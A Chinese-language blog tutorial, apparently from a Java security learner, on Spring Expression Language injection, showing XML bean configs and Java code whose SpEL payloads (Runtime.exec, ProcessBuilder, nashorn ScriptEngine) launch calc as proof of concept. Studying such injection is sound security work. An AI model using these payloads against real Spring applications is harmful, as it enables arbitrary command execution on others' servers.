spEL表达式注入

学C3P0不会jackson,然后滚去学jackson了

学jackson不会spEL,然后滚去学spEL了

学SpEL不会spring,然后滚来学spring了

spring

spring提供了很多种从xml文件实例化bean的方法。虽然这只是spring的一小部分功能,但这是学java安全的一大部分了(hh

xml的模板如下,每个xml至少都会包括以下内容,算是个规范

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd">
...
...

</beans>

剩下的见5tooc3a blog springRe0:

https://www.yuque.com/5tooc3a/jas/vwovvqh6w86ifrye#

写的非常好,好的我挑不出哪里需要重写,为防止网站挂掉,转载到blog了

SeEL简介

在 spring3 中引入了 spring 表达式语言(Spring Expression Language)

主要作用是对于基于 XML 文件或者基于注解的 Spring 配置的装载。也就是对IOC容器中的javaBean进行动态属性状态和提取。

SpEL表达式定界符为#{},加载外部属性文件还能用${}

pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency>

同样能看:

https://www.yuque.com/5tooc3a/jas/tgmsxhgzn4a615sx#

spEL解析所需的依赖为spring-expression包

xml文档注入

spring最基础的解析xml,可以用#{}表达式搭配T()使用其他类的静态方法

T()能获取到基础类(并不能实例化),之后就可以调用该类的静态方法

Person类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class Person {
private String name;
private int age;

public Person() {
}

public String getName() {
System.out.println(name);
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

比如Runtime.getRuntime().exec

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="Person" class="org.exploit.othercase.SpEL.Person">
<property name="name" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
<property name="age" value="#{1}" />
</bean>
</beans>

beans.xml放到resources下,利用ClassPathXmlApplicationContext加载xml文档

1
2
3
4
5
6
7
public class SpELcase {
public static void main(String[] args) {
ApplicationContext applicationContext=new ClassPathXmlApplicationContext("beans.xml");
Person person=applicationContext.getBean("person",Person.class);
person.getName();
}
}

singleton模式下,Spring加载bean并调用setter进行依赖注入的行为发生在ClassPathXmlApplicationContext加载XML配置文件的过程中,具体来说:

  • 加载配置文件阶段:
    当使用ClassPathXmlApplicationContext类来加载一个或多个XML配置文件时,Spring会解析这些配置文件中的bean定义,并将它们注册到IoC容器中。
  • bean实例化与依赖注入:
    在这个过程中,对于每个bean,Spring会根据XML中定义的信息创建bean的实例。
    如果bean定义中包含了属性及其setter方法,则Spring会调用这些setter方法来完成依赖注入。
  • getBean方法:
    当通过getBean方法从应用上下文中请求某个bean时,Spring实际上是从已经初始化好的bean池中获取该bean的引用。
    此时,bean的实例化和依赖注入工作已经完成。

调用getBean只是从容器中获取已经准备好的bean实例。

singleton和prototype模式的区别:

对于singleton作用域的bean,Spring会在启动时创建一个单例实例,并将其保存在容器中。
对于prototype作用域的bean,Spring不会在启动时创建实例,而是在每次调用getBean方法时创建一个新的实例。

SpelExpressionParser 注入

SpelExpressionParser.parseExpression进行Spel解析,直接注,无需#{}

1
2
3
4
5
6
7
8
public class ExpressionTest {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
EvaluationContext context = new StandardEvaluationContext();
expression.getValue(context);
}
}

调用getValue触发表达式的执行

甚至可以直接new对象:

  • ProcessBuilder:
1
Expression expression = parser.parseExpression("new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()");
  • ScriptEngineManager
1
Expression expression = parser.parseExpression("new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")");

spring cloud gateway SpEL表达式注入CVE-2022-22947:

https://godownio.github.io/2023/04/19/spring-cloud-gateway-cve-2022-22947-spel-biao-da-shi-zhu-ru/

jackson SpEL注入CVE-2017-17485

上一篇:
jackson 反序列化合集
下一篇:
spring一文入门